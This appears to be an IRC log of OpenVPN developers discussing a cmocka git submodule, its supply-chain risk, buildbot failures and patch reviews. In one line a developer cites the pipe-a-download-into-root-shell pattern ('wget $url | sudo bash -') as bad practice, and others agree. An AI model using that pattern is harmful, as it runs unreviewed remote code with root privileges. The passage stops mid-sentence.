<@mattock> yep, makes sense 02:28 <@syzzer> wrt the unit test patch: git clone does use the --recursive flag? 02:28 <@cron2> so maybe run travis-ci automatically, and our full blast infrastructure only on demand 02:29 <@cron2> (which reminds me that I need to add FreeBSD 10 and NetBSD 7.1 buildslaves... supposedly NetBSD 7 broke something in the routing API...) 02:29 <@mattock> debian 7 build fails differently with cmake installed: 02:29 <@mattock> (cd /var/lib/buildbot/slaves/openvpn/build-debian-7-i386-stable-master/build/vendor/.build/cmocka && cmake -DCMAKE_INSTALL_PREFIX=/var/lib/buildbot/slaves/openvpn/build-debian-7-i386-stable-master/build/vendor/dist /var/lib/buildbot/slaves/openvpn/build-debian-7-i386-stable-master/build/vendor//cmocka && make && make install) 02:29 <@mattock> CMake Error: The source directory "/var/lib/buildbot/slaves/openvpn/build-debian-7-i386-stable-master/build/vendor/cmocka" does not appear to contain CMakeLists.txt. Specify --help for usage, or press the help button on the CMake GUI. 02:29 <@mattock> I need to add Debian 8 and Ubuntu 16.04 buildslaves 02:29 <@cron2> mattock: that might be due to "--recursive", whatever that does... 02:30 <@mattock> --recursive checks out submodules too 02:30 <@syzzer> mattock: that sounds like the git submodule not being checked out 02:30 <@mattock> so that actually needs to be added to buildmaster master.cfg 02:30 <@mattock> doing 02:30 <@cron2> syzzer: how does that work? 02:31 <@syzzer> there's a .gitmodules file in the openvpn git, which specifes which commit of which repository to check out 02:31 * cron2 wonders how we ended up having submodules, and if there is a risk in here 02:31 <@syzzer> jens and mattock voted for the submodule approach, iirc 02:31 <@mattock> there not real risk afaics 02:31 <@mattock> this is what submodules are for 02:31 <@cron2> like, .gitmodules points to $elsewhere, there is a .gitmodule *there* which pulls from $totallyuntrusted, and then we run that code as root in "make test" 02:31 <@cron2> mattock: no? 02:31 <@mattock> the submodule is always pointed to a certain point in the remote repository's history 02:32 <@mattock> so you will need to update the sources inside the submodule 02:32 <@syzzer> the unit tests shouldn't be ran as root, but yes, that is a risk 02:32 <@mattock> before anything new comes in 02:32 <@cron2> please explain why a submodule is beneficial? right now it looks like "makes things more complicated" 02:33 <@cron2> (and updating our .gitmodule would then require a full review of what happened in the submodule between revisions) 02:33 <@mattock> because we don't have to add the cmocka repo to our repository, or just assume that people get it themselves and figure it out 02:33 <@mattock> so basically openvpn+cmocka is now a "bundle" 02:33 <@mattock> which is "guaranteed" to work 02:34 <@mattock> in that people should not complain to us about some specific openvpn/cmocka combination not working 02:34 <@mattock> plus with git clone --recurse they get cmocka automatically, pointed to some specific commit in cmocka repository history 02:35 <@syzzer> yes, this is the big advantage: 'we promise that our tests work this this cmocka version', instead of 'whatever cmocka version on your machine' 02:35 <@cron2> I see this as risky and complicated - if we ever update the commit we point to, we *MUST* do a full review of all that has changed in between in that other repo 02:35 <@cron2> because we pull in unknown stuff that affects our build result 02:35 <@mattock> well, we update openssl and lzo without looking at the commit logs in detail 02:35 <@cron2> we do not run their scripts in our build tree 02:36 <@syzzer> cron2: it affects the unit tests, but not our openvpn binaries 02:36 <@mattock> no, but we distribute binaries with those libraries to all windows users 02:36 <@syzzer> running 'make' works fine without cmocka, just 'make check' needs it 02:37 <@cron2> syzzer: so for "make check", we execute foreign code with root privs without having any idea what is in there, right? 02:37 <@syzzer> as root? not for the unit tests, right/ 02:37 <@syzzer> only t_client needs root, afaik 02:38 <@mattock> the unit tests definitely don't need root 02:38 <@mattock> how we make them not run as root is something else entirely 02:38 <@cron2> but then we should t_client to actually enforce "you must use sudo, not run the test suite as root" 02:38 <@mattock> in the buildslave context 02:38 <@mattock> agreed 02:40 <@syzzer> I'm stil open for using configure.ac instead of the submodule btw (I was slightly leaning towards that in the discussion), but I do think the submodule is less worrysome than you might think at first :) 02:42 <@cron2> also I'm not really sure I like the approach of building 10 copies of cmocka per machine for each buildbot run... 02:42 <@cron2> I admit I should have looked more closely 02:43 <@mattock> indeed 02:43 <@mattock> it makes more sense for Travis-CI 02:43 <@mattock> one or a few builds at most 02:44 <@mattock> the unit tests should pass if they pass on a single machine afaik 02:44 <@syzzer> mattock: nah, on travis-ci you just update your .travis.yml with "install cmocka" 02:44 <@mattock> so having wide OS coverage there does not do any good 02:44 <@cron2> mattock: not necessarily - library dependencies, byte order, word size... 02:44 <@mattock> hmm 02:45 <@mattock> any idea how long it takes to compile cmocka? 02:45 <@mattock> as in: is it really an issue? 02:45 <@cron2> no idea, but it's CPU cycles, disk space - and yes, CPU cycles cost money 02:46 <@cron2> if an operating system ships and old cmocka version, I'd recommend compiling and installing it *once*, and not "for every build anew" - we can point to a specific version if we know that one works 02:47 <@mattock> master.cfg: tempfactory.addStep(Git(repourl=r[0], branch=b, mode="update")) 02:47 <@mattock> so as far as buildbots are concerned, they are not clone the entire openvpn repo from scratch on every build 02:47 <@mattock> so we just need to make sure that cached cmocka is used, if available 02:49 <@cron2> I don't really want 10 copies of a cmocka build tree lying around either, tbh - disk space in our VM environment is costly 02:50 <@cron2> (in other words, I'd prefer to use that disk space and CPU cycles for 2-3 extra buildbots than for just duplicating stuff) 02:51 <@mattock> the buildslave build directories are pretty huge 02:51 <@cron2> as a side track: the WPAD issue is actually really old - blog from 2012... http://netres.ec/?b=1276AAC 02:51 <@mattock> I'll see what cmocka adds up 02:51 <@vpnHelper> Title: WPAD Man in the Middle - NETRESEC Blog (at netres.ec) 03:03 <@cron2> even if we know which service to turn off for WPAD, it's still an annoyance to implement this for 2.3 and master - code in openvpn for 2.3, code in iservice for master, and then testing on XP (2.3) to Win10... 03:05 <@mattock> cmocka directory takes about 2 megs once built 03:06 <@mattock> that can amount to a bit of diskspace with the number of buildslaves we have 03:06 <@mattock> however, the build directory could possibly be shared, as cmocka requires out of the tree builds anyways 03:07 <@mattock> I guess it could go to /home/buildbot or something 03:07 <@cron2> if that is possible, I'm fine 03:07 <@cron2> a shared tree that is only rebuilt if something changes - perfect :-) (not worse than "/usr/local/bin/" and more automatic installation) 03:07 <@mattock> right now, when the buildslaves clone the git repo, they only get an empty vendor/cmocka directory 03:08 <@mattock> one has to run "git submodule init" and "git submodule update" to actually get content there 03:15 <@mattock> I think the easiest solution to the buildslave disk space problem is to run the above two commands only on one buildslave 03:15 <@mattock> e.g. the one with t_client.sh tests 03:17 <@cron2> the "build in /home/buildbot" approach sounded good...? 03:17 <@mattock> of course the unit tests should not run if the cmocka directory is empty, or the other buildslaves will break 03:17 <@cron2> (and we should at least run the tests for one openssl + polarssl build) 03:17 <@mattock> that probably technically more challenging 03:18 <@cron2> true, it needs to learn to fail to SKIPPED :) 03:18 <@mattock> so there are two reasons to skip: 03:18 <@mattock> - cmocka not installed 03:18 <@mattock> - cmocka submodule not initialized and updated 03:18 <@cron2> - cmake not installed (but I think you meant that) 03:19 <@mattock> ah yes :) 03:19 <@mattock> maybe we can do away with one set of unit tests, if the unit tests automatically do mbedtls/openssl tests 03:19 <@mattock> not sure how the tests are / will be implemented 03:20 <@mattock> anyways, need to split for while (lunch and other stuff) 03:20 <@cron2> I don't think that "run the unit tests with different libraries than the actual build was done" will lead to anything but nightmares 03:21 <@mattock> ah, indeed, did not think that through 03:21 <@mattock> so we need two builds 03:22 <@mattock> if we can do the /home/buildbot approach easily, then that is fine 03:22 <@mattock> if not, then I think 2x2MB per buildslave is acceptable 03:22 <@cron2> yes 04:00 <@cron2> hrmp, iOS could use a new release with all the new features... 04:00 <@cron2> iOS OpenVPN, that is 04:07 <@dazo> Hmmm ... odd to see that it exploded with submodules not initialized/updated .... I was sure I checked that yesterday 04:17 <@dazo> cron2: regarding safety, untrusted code and submodules ... I understand your point of view, but I consider it quite safe. Submodules need to point at a git repository and it points at a particular branch in that repo (not sure if it is possible to use tags or commitsh, I believe it should work). And all of this is defined by .gitmodules which we control in our own openpvn.git tree. As commits uses chained SHA1 references, the git 04:17 <@dazo> tree which is pulled down itself is of no bigger concern that if you do a 'git clone' 04:18 <@dazo> Of course, we could clone the cmocka git tree to our own repos, and use that as a submodule ... but that means we need to do the maintenance work of keeping our cmocka clone up-to-date with cmocka upstream 04:19 <@dazo> (regarding the chained SHA1 commit references .... if anything in the git commit log changes, it will break all commitish references after that change ... that includes commit message as well as the patch) 04:19 <@cron2> dazo: you missed the point about changing the gitmodule to point to a new revision - in that case, we can not rely on anything but would need to do a thorough verification that what we are pulling in *now* is safe 04:20 <@cron2> so it might be perfectly sane today, and then we get a patch to update to a new revision - what happens then? 04:20 <@cron2> who will be able to say "yes, this is good"? 04:21 <@dazo> you're concerned about that cmocka master moves too fast forward for our unit test code? 04:21 <@cron2> no, about bad stuff being in there that we pull and execute 04:22 <@cron2> with the privileges of the user running "make check" 04:23 <@dazo> how can you trust any software at all then? cmocka is it's own project with maintainers who we presume verify what they commit .... how can others depending on openvpn trust openvpn code to be safe, we even need root privileges to run in many cases? 04:23 <@mattock> we inherently trust shitloads of other software, too 04:24 <@dazo> yupp 04:24 <@mattock> I don't see how cmocka is any different 04:24 <@dazo> I don't think 'yum install cmocka' is that much different from 'git clone https://url/to/cmocka.git' 04:25 <@cron2> dazo: oh, it is. One gives you a binary where the RH maintainer vouches for "this is good" 04:25 <@mattock> well, but can he really vouch for that? 04:25 <@mattock> if we're speaking of malicious code, not bugs 04:25 <@mattock> and is such a claim worth anything, really 04:25 <@dazo> well, here you presume that the repo yum picks is a RH repo ... it can be EPEL, it can be centos, it can be nux.desktop ... 04:26 <@mattock> anyways, I think we should make the unit tests run without root privileges 04:26 <@cron2> well, yeah. I give up, since industry standard is "wget $url | sudo bash -" nowadays 04:27 <@mattock> :P 04:27 <@dazo> that wget | sudo bash ... is really bad ... but I do think that git have some advantages over $randomURL ... as you normally can better trust the source of git repos 04:27 <@cron2> I do *not* trust code coming from remote repos - a formal release has a much better chance of people actually reviewing what is in there and what got changed, and this is the whole point: if we ever point to a new commit ID, who will ensure that this change is ok? by reviewing where it points to? 04:28 <@dazo> (of course, if their git repo gets cracked, that's a different scenario though) 04:28 <@cron2> this is not worrying me much - getting bad code into a known commit ID is hard to impossible 04:28 <@cron2> more like "we move to a new ID, but have no idea what we're getting then" 04:29 <@dazo> fair enough .... well, maybe we then should consider to just clone cmocka.git ... and have our own update schedules where we review changes 04:30 <@cron2> as long as we're very carefully in updating the cmocka.git commit ID we're referring to, this should be ok 04:30 <@dazo> as I understood from Jens, the issues with packaged cmocka packages in distros is that the versions vary too much and we might end up with users not able to run unit tests 04:31 <@cron2> speaking of which... there is a 2.4 work item on me - import a current version of compat-lz4.[ch] 05:33 <@dazo> I have a solution now for the cmocka troubles ... sending to ML very soon 05:44 <@dazo> cron2: I've gotten the first of my 4 query-user patches done .... https://gitlab.com/dazo/openvpn/commit/602d102c67ec5f2bc51f588b5dad937dafbb5618 ... if we could manage review-on-the-fly here, we can hopefully sort out things quicker than the ML ping-pong ... of course final patches goes to ML 05:44 <@vpnHelper> Title: Rework the user input interface to make it more modular (602d102c) · Commits · David Sommerseth / openvpn · GitLab (at gitlab.com) 05:45 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/10021/focus=11012 ... here's the mail discussion 05:45 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 05:58 <@mattock> I think dazo's latest patch to cmocka should also fix openvpn-build 05:58 <@mattock> I'll wait a bit to see 06:00 <@dazo> Just need an ack ;-) 06:01 <@mattock> I can test the patch in a few places, just a sec 06:02 <@cron2> dazo: can it also be dependent on "if cmake is installed"? I'd really prefer to see things log SKIPPED if no cmake is found than fail 06:02 <@cron2> (but maybe this is a second patch, then) 06:03 <@cron2> mmmh 06:03 * cron2 needs food, bbl 06:03 <@dazo> Well, I can add that too 06:04 <@cron2> this is what we currently do - if a test cannot be run, because prerequisites are missing, log this, but do not "fail" 06:04 <@mattock> that would make sense 06:04 <@dazo> it's not possible to get the SKIPPED logging ... then the whole thing needs to be quite rebuilt 06:04 <@cron2> well "if cmocka has been checked out but cmake is not available" is the remaining case 06:05 <@dazo> currently the autotools test driver is Makefile.am ... so that would mean building cmocka and running the unit tests needs to be put into scripts which autotools will use as test driver instead ... this test driver can report SKIPPED 06:05 <@dazo> I just found this approach far simpler ... but agreed, should check for cmake as well 06:05 <@cron2> mmh. Maybe just fail non-fatal if cmake is not there, and the test driver then checks if cmocka has been built, and SKIPS if not 06:06 <@dazo> again, for that to happen ... autotools need to kick off a script which does the proper 'exit code' thing 06:06 <@cron2> doing the actual cmocka build in the test driver is not the right way, I'd say 06:06 <@dazo> it is currently two different steps 06:07 <@dazo> cmocka happens first, then unittests are built afterwards and run 06:07 <@cron2> understood - so at "make" time, just point out if cmake is missing, but do not make this a hard fail ("-cmake" in Makefile lingo :) ) 06:08 <@cron2> and at "make check" time, the unittest script checks for "has cmocka been built?" and if not, exit(SKIP) 06:08 <@dazo> that test need to happen in configure.ac, so we can report 'cmake missing' when running ./configure 06:08 <@cron2> it could be done in configure.ac, yes (as long as we're not aborting) 06:08 <@dazo> I did not find a way to do conditional tests inside Makefile.am if cmake or files exists or not 06:09 <@cron2> dazo: this is not Makefile.am, just plain Makefile - run the cmake job with "-cmake", and it will log the error if cmake does not exist, but go on 06:10 <@cron2> (or add an autoconf test for "do we have cmake" and wrap the cmake invocation into #if HAVE_CMAKE, but that's maybe more complicated than needed) 06:16 <@dazo> I think a better approach will be to extend my configure.ac change to also check if cmake is available ... and if cmake is available and cmocka is initialized, then run tests ... otherwise at ./configure time report cmake and/or cmocka missing 06:16 <@dazo> That gives the least amount of complexity 06:35 <@cron2> less complexity is good :) 06:40 * dazo goes hunting for lunch 07:03 <@mattock> looking at https://github.com/OpenVPN/openvpn/pull/45 now 07:03 <@vpnHelper> Title: Add vagrant based integration tests by neuhalje · Pull Request #45 · OpenVPN/openvpn · GitHub (at github.com) 07:03 <@mattock> 12GB of mem should suffice for virtualbox + vagrant 07:16 <@dazo> mattock: you know there are better alternatives than virtualbox if you're on Linux? 07:16 <@dazo> (most distros ship with KVM out-of-the box these days ... and vagrant should work just as well against that) 07:33 <@mattock> yes, kvm/libvirt will work 07:33 <@mattock> but in my experience on a laptop at least the VMs tend to make interactive usage choppy 07:33 <@mattock> could be that things have improved since my tests (~1 year ago) 07:34 <@mattock> or maybe kvm can be tuned to better work in a desktop environment 07:34 <@mattock> did not really look into it 07:34 <@mattock> I would also prefer kvm over virtualbox 07:43 <@dazo> have you tried using SPICE instead of VNC? that is generally less laggy, if you need VDI 07:44 <@dazo> But I generally use ssh or serial consoles to VMs ... but SPICE have generally been quite good for me 07:44 <@dazo> (those time I needed VDI) 07:47 <@mattock> well actually I meant that the host desktop gets choppy 07:47 <@mattock> anyhow, the vagrant part of PR#45 seems to work nicely 07:47 <@mattock> t_client.rc seems to require some modifications 07:48 <@dazo> oh, that I've never experienced ... even with my previous worklaptop with 8GB RAM 07:48 <@dazo> If you're short of RAM, then the host system gets laggy 07:48 <@mattock> I'll ask the author if we could have a t_client.rc-vagrant or something, which would help ensure that everything works correctly out of the box 07:49 <@mattock> I think I had a Windows guest, which would explain it 08:24 <@dazo> mattock: yeah, if you didn't use virtio drivers that can certainly cause a more hefty resource hog 08:44 <@mattock> the Vagrantfile(s) would have to modified slightly to work with libvirt 09:13 <@dazo> cron2: shall I bring in those mbedTLS memleak patches? 09:14 * dazo just kicked out a v2 of the cmocka fix 09:22 <@cron2> dazo: if you're at it anyway, go for it :-) 09:22 <@cron2> dazo: but there's something else I want to bring up, and you're not gonna like me... 09:22 <@ecrist> that's implying he liked you to begin with... ;) 09:23 <@cron2> cycling home, I spent some thoughts on cmocka and release/2.3, and I'm not sure we should have it in there - it's very much work in progress, and most likely, none of the actual unit tests will be applicable to 2.3 - and it needs configure.ac changes which might or might not apply (given that 2.3 configure.ac is quite a bit different from master configure.ac already)... 09:24 <@cron2> so balancing "effort to make this" with "what is the potential gain?", to me, leads to "revert the two cmocka patches from 2.3" - but I'm open for being convinced otherwise 09:30 <@dazo> cron2: sure no worries :) It's no problem reverting. But I think much code can be unit tested without much efforts on both master and 2.3 too ... sure, there's lots of code which is harder too 09:30 <@dazo> But as we will support 2.3 for quite some time after 2.4, I thought it would be good to have the possibility ready to expand 2.3 unit testing too 09:31 <@cron2> I'm wondering if we have *any* code that can be unit-tested without excessive instrumentation, tbh - everything wants to link buffer.o, and so on 09:31 <@dazo> the output of the unit testing is quite verbose on what it tests, so that the testing scope is different shouldn't be such a big surprise 09:31 <@dazo> hmmmm .... good point 09:31 <@cron2> but if you think it makes sense, then we'll keep it :) 09:32 <@cron2> 2.3 will be around for a long time, but I really do not want to do much new development and extensive code changes there... 09:32 <@cron2> bugfixes, yes - so some amount of testing certainly is good 09:32 <@dazo> At least for now, I think it does make sense 09:33 <@cron2> in that case, let's leave it in, and apply "Only build and run cmocka unit" [v3] to both... :) 09:33 <@cron2> note the "v3" 09:33 <@dazo> v3? you found more to nitpick at? ;-) 09:34 * cron2 <- master nitpicker 09:34 <@dazo> v2 has been on the ML for 25 minutes! ;-) 09:34 <@cron2> see, I've take your complaint to heart that my reviews always take soo long 09:35 <@dazo> hehe 09:36 <@cron2> so you have the whole week for "openvpn upstream", or how's the deal? 09:36 <@dazo> DUH!!! 09:36 <@cron2> tomorrow will be busy for me, but thu/fri I could make room to get some serious work done 09:36 <@cron2> hehe :) 09:36 <@dazo> This whole week for OpenVPN ... next week is 1.5 week of holiday, iirc ... and then PIA for a week, and then openvpn for a week 09:37 <@dazo> cron2: mind if I just correct that typo on the fly? 09:37 <@cron2> amazing - so let's see that we can get work done on Thu 09:37 <@dazo> Yeah, I'll have some more stuff ready for review by then 09:37 <@cron2> dazo: ACK sent 09:37 <@dazo> :) 09:37 <@cron2> good 09:38 <@cron2> dazo: are you on security@ these days (read: did you see my mail from today)? 09:39 <@dazo> yeah I got it ... noticed it was WPAD and didn't pay too much attention 09:39 <@cron2> mattock: what happens with regard to iservice today when I install openvpn-snapshots? will it be installed, activated, started, ...? 09:40 <@cron2> dazo: ok, just making sure. This is important bits but will also need time... need to set up a test rig first... annoyance 09:40 <@cron2> 5 09:50 <@dazo> mattock: it seems I need to have a new config for the community vpn server so I can peek at how buildbot is behaving 09:50 <@vpnHelper> RSS Update - gitrepo: Only build and run cmocka unit tests if its submodule is initialized <https://github.com/OpenVPN/openvpn/commit/45f6e7991cfa3bb8a44f981b6cf1e794d617d51e> 09:55 <@cron2> dazo: you definitely need new certs for the t_client tests, as syzzer broke all these... 09:56 <@dazo> Oh, I haven't tested that part yet ... that's on my todo list as well 09:56 <@cron2> the community vpn server moved some months(?) ago if I remember right... 09:57 <@cron2> dazo: so are you doing the mbedtls memleaks or shall I? 10:03 <@cron2> rm: unrecognized option '--enable-small' 10:04 <@cron2> mattock: is dazo receiving buildbot failures? I think he should :) 10:13 <@mattock> Windows buildslave? 10:14 <@cron2> no, the generic unixy fails, like "he pushed the thing, he should get the fallout" :-) - my mail header claims 10:14 <@cron2> To: openvpn-builds@lists.sourceforge.net 10:14 <@mattock> cron2: re: iservice: it just works 10:15 <@cron2> mattock: that is cool, but could you give a bit more detail? 10:15 <@cron2> like, you're not starting the normal service by default (which is good :) ) 10:16 <@mattock> there are two kinds of service now, and the other kind should be enabled and started by default 10:16 <@mattock> if I recall correctly 10:16 <@dazo> cron2: I'll take those mbedtls stuff too 10:16 <@dazo> just got distracted for a few minutes 10:17 <@cron2> dazo: good. Then I focus on feeding the kids now (soonish, that is), then dancing class, later trying to build a WPAD test rig 10:17 <@dazo> perfect! 10:20 <@mattock> it possible that the interactive service does not start automatically right now 10:20 <@mattock> although it should be made to 10:32 <@vpnHelper> RSS Update - gitrepo: Plug memory leak in mbedTLS backend <https://github.com/OpenVPN/openvpn/commit/cd538f2c7a128395284d23f9c30741217075503f> 12:57 <@vpnHelper> RSS Update - gitrepo: Clarify the fact that build instructions in README are for release tarballs <https://github.com/OpenVPN/openvpn/commit/fdc24f1e986c5d8ecdf37c3d0f913f3549087852> 13:28 <@dazo> Anyone seen how buildslaves have behaved? looking better? 13:40 * cron2 sees ton of build errors... 13:41 <@cron2> Making check in vendor 13:41 <@cron2> mkdir -p /vendor/dist 13:41 <@cron2> mkdir: /vendor: Permission denied 13:41 <@cron2> something is still totally bogus there 13:42 <@cron2> on the other buildslave, it's different 13:42 <@cron2> mkdir -p 13:42 <@cron2> mkdir -p /home/buildbot/build-openvpn/build-cron2-freebsd-74-amd64-stable-master--with-crypto-library=mbedtls --enable-crypto /build/vendor/dist 13:42 <@cron2> mkdir: /build: Permission denied 13:43 <@cron2> this is quite obviously a missing quotation, but I have no idea why the first one wants to mkdir /vendor/ 13:43 <@cron2> dazo: in other words: I have not seen such a spectacular buildbot explosion in a looong time 15:08 <@dazo> eek 15:09 <@dazo> okay, no brain capacity this evening ... will look into it tomorrow 15:10 <@dazo> mattock: I will need access to our buildbots ... so please send mail me needed configs --- Day changed Wed Jun 01 2016 05:18 <@cron2> ok, now I know where James was hiding for the last months... "OpenVPN AS 2.1.0 released"... (though the differences in the release notes are not really impressive enough to explain why 2.0.26 -> 2.1.0) 05:56 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 06:00 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 06:00 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:55 <@syzzer> dazo: perfect timing to start working on the passwd-query patch set - I just ran into https://community.openvpn.net/openvpn/ticket/538 06:55 <@vpnHelper> Title: #538 (no PIN prompt with PKCS11 when systemd is enabled) – OpenVPN Community (at community.openvpn.net) 07:01 <@vpnHelper> RSS Update - tickets: #686: OpenVPN Connect 1.0.7 on iOS can't create connection <https://community.openvpn.net/openvpn/ticket/686> 09:04 <@cron2> ohoh, and there is a new iOpenVPN in the Appstore 09:04 <@cron2> with AES-GCM 09:05 <@plaisthos> ohoh 09:06 <@cron2> sending proper IV_GUI_VER, IV_VER=3.0.11, IV_NCP=2, IV_TCPNL=1 and IV_PROTO=2 09:06 <@plaisthos> :) 09:07 <@cron2> interesting enough, no explicit v2 ciphers 09:07 <@cron2> s/ciphers/compression algs/ 09:09 <@plaisthos> yes 09:47 <@syzzer> so is that the connect client? or something else entirely? 09:55 <@cron2> connect, yes 10:06 <@dazo> syzzer: heh ... well, the pkcs11 stuff is more complicated, we might need to look into a different pkcs#11 library :/ ... Alon (who is behind pkcs11-helper) is not being overly helpful just saying "we do it wrong", despite good arguments there's some funky going on in pkcs11-helper 10:06 <@dazo> (there's a RH bugzilla on issue the same somewhere) 10:17 <@cron2> but we are obviously all doing it wrong! 11:19 <@mattock> dazo: ok, I'll send you what you need to access the buildmaster 11:19 <@mattock> you don't need access to the buildslaves 11:29 <@dazo> mattock: right 11:29 <@dazo> thx! 12:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 12:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:08 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:01 <@dazo> there exists code which is more magic than socket.c .... autotools' way of generating ./configure 14:03 <@dazo> and not to forget ./configure itself 14:17 <@cron2> this is not magic, this is brute force 14:34 <@dazo> hahaha 14:36 <@dazo> I'm reconsidering the patch which updates m4/pkg.m4 ... it turns out it may break ./configure if 'pkg-config openssl --modversion' reports more than a single line 14:37 <@dazo> I tried adding 'head' or 'tail' ... but that resulted in _nothing_ being reported :/ 14:49 <@dazo> Probably found a solution in m4/pkg.m4 after all .... but have an alternative approach too ... now the question is: which of the approaches are least hacky? 15:43 * cron2 has no idea what dazo is talking about --- Day changed Thu Jun 02 2016 03:00 * syzzer neither, and has a feeling he doesn't want to either... 03:31 <@mattock> dazo: you have mail 04:04 <@plaisthos> yikes 04:04 <@plaisthos> git submodules with a submoudule 05:56 <@mattock> plaisthos: as long as the submodules don't create a recursive loop we're fine 05:56 <@mattock> :P 06:10 <@cron2> isn't that what --recurse is for? 06:11 <@cron2> how smart is git, will it recognize that? 06:23 <@dazo> mattock: thx! 06:26 * dazo got access to buildmaster now :) 06:31 * cron2 braces for the imapct 06:31 <@cron2> impact 07:25 <@dazo> :) 07:25 <@dazo> cron2: Just looking at the build failures ... it seems things did improve 07:26 <@dazo> but there are some whitespace issues on several of the buildslaves ... but that seems at bit harsh to blame the unit-test patches for that, as it seems to me to be a buildslave issue 07:26 <@dazo> or have I overlooked something? 07:33 <@mattock> our "make dist" is broken, that's why the Windows buildslave is failing 07:33 <@mattock> the dist target fails to copy vendor/Makefile.am to vendor/Makefile.am in the dist tarball 07:34 <@mattock> in fact, this is not limited to the Windows builds - any build from a tarball will fail with 07:34 <@mattock> "config.status: error: cannot find input file: `vendor/Makefile.in'" 07:34 <@mattock> just tested it 07:34 <@mattock> I could not see any obvious reason why this is the case, so somebody who knows make better should have a look 07:40 <@dazo> mattock: I just did a fresh clone, autoreconf -vi, ./configure and make dist ... no issues 07:40 <@dazo> this is the latest master branch 07:40 <@dazo> (commit fdc24f1e986c5d8) 07:42 <@dazo> make distcheck fails though 07:42 <@dazo> ahh, okay, I think I see the issue now 07:43 <@dazo> hmm 07:43 * dazo ponders 07:46 <@cron2> dazo: regarding whitespace - it did not break before the unit-test patch, so *not* blaiming it on that sounds not logical 07:47 <@dazo> hmmm 07:49 * dazo wonders if there are more sane alternatives to autotools and cmake :/ 07:51 <@dazo> hmmm ... the only difference I see currently is that the unit test related Makefile.am files contains "AUTOMAKE_OPTIONS = foreign" ... all others does not 07:55 * dazo need to get out to grab some food first 08:04 <@dazo> cron2: btw ... the two most critical query-user-pass patches have been pushed out here: https://gitlab.com/dazo/openvpn/commits/dev/query-user-v4 08:04 <@vpnHelper> Title: Commits · dev/query-user-v4 · David Sommerseth / openvpn · GitLab (at gitlab.com) 08:06 * dazo logs out while fetching some food 10:36 <@mattock> dazo: a similarly fresh clone: 10:36 <@mattock> $ autoreconf -vi && ./configure && make dist 10:36 <@mattock> $ tar -ztf openvpn-2.3_git.tar.gz |grep vendor 10:36 <@mattock> openvpn-2.3_git/vendor/ 10:36 <@mattock> no files under vendor 10:39 <@mattock> reproduced on Fedora 23 and Debian 7 10:40 <@dazo> yupp ... seeing that myself now 10:40 <@dazo> And I have no idea why Makefile.am in tests/unit_tests works, but not vendor/ 10:43 <@dazo> seems some macro expansions don't occur 10:45 <@dazo> okay, I might have nailed it .... the distdir target in vendor/Makefile.am might cause the issue ... probably a conflict with what autotools expects 10:57 <@dazo> mattock: can you try this patch? https://paste.fedoraproject.org/373784/88287314/raw/ 11:11 * dazo decides to send that patch the mailing list 12:50 <@cron2> dazo: "continuing to fix..." - have I missed a patch before that? 13:52 <@mattock> dazo: I'll test the patch tomorrow 14:22 <@dazo> cron2: see the next line in the commit message ;-) 14:22 <@dazo> it's all related to the unit-test patches from Jens 14:23 <@dazo> cron2: btw ... I've just pushed out all patches for query-user-pass ... the branch is misleadningly called v4, on the ML it will be v3 ... my v3 git branch was experimental 14:24 <@dazo> cron2: would you mind reviewing them on gitlab? We can have a discussion tomorrow if more things needs to be improved. I'd rather try to avoid sending it to ML and then need to revise them once more 14:25 <@dazo> https://gitlab.com/dazo/openvpn/commits/dev/query-user-v4 14:25 <@vpnHelper> Title: Commits · dev/query-user-v4 · David Sommerseth / openvpn · GitLab (at gitlab.com) 14:26 <@dazo> I've also expanded some of the commit logs to cover some of your questions/comments 14:31 <@dazo> patches have been lightly tested on Scientific Linux 7.2 (RHEL clone) and Fedora 23 14:42 * dazo calls it a day 15:33 <@cron2> dazo: I can see that, but if that message ("Another fix related to unit test framework") gets in, more people will wonder "so, where is the first 'fix related to unit test framework' commit?" 15:33 <@cron2> the context is just not there --- Day changed Fri Jun 03 2016 00:47 <@cron2> dazo: ignore what I said, I was tired and already forgot the cmake/configure.ac patch 01:42 <@mattock> dazo: the patch you sent to the ml seems to fix the problem: 01:42 <@mattock> $ tar -ztf openvpn-2.3.11.tar.gz |grep vendor 01:42 <@mattock> openvpn-2.3.11/vendor/ 01:42 <@mattock> openvpn-2.3.11/vendor/Makefile.in 01:42 <@mattock> openvpn-2.3.11/vendor/Makefile.am 02:00 <@mattock> hmm, many buildslaves fail with this: 02:00 <@mattock> rm: unrecognized option '--disable-lz4' 02:00 <@mattock> quoting... 02:01 <@mattock> yeah: "rm: unrecognized option '--enable-crypto'" 03:38 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 03:41 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 264 seconds] 03:41 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 03:42 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:42 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:00 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:00 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 05:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 05:02 -!- mattock_ is now known as mattock 05:18 -!- Netsplit *.net <-> *.split quits: @cron2 05:36 <@dazo> mattock: yeah, that's a white space issue ... need to figure out what happens there 05:52 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 05:52 -!- ServerMode/#openvpn-devel [+o cron2] by orwell.freenode.net 06:10 <@cron2> 5 06:23 <@cron2> this WPAD issue is more annoying than I thought 06:52 <@plaisthos> that was the auto proxy configuration stuff, right? 07:12 <@dazo> yupp 08:55 <@cron2> yes, and as soon as someone decides "wpad is good for you!" it's hard to impossible to get *rid* of it again 10:08 <@dazo> cron2: can we schedule a time where we can review the query-user patches? (I'll be on holiday June 6-15, but might be occasionally online) 10:12 <@dazo> btw! Good catch on the 'mkdir' line in the patch from yesterday ... I'll send a v2 patch soon 10:12 <@cron2> I was sort of waiting for you to show up this morning... need to see how this gitlab stuff works (I really dislike using 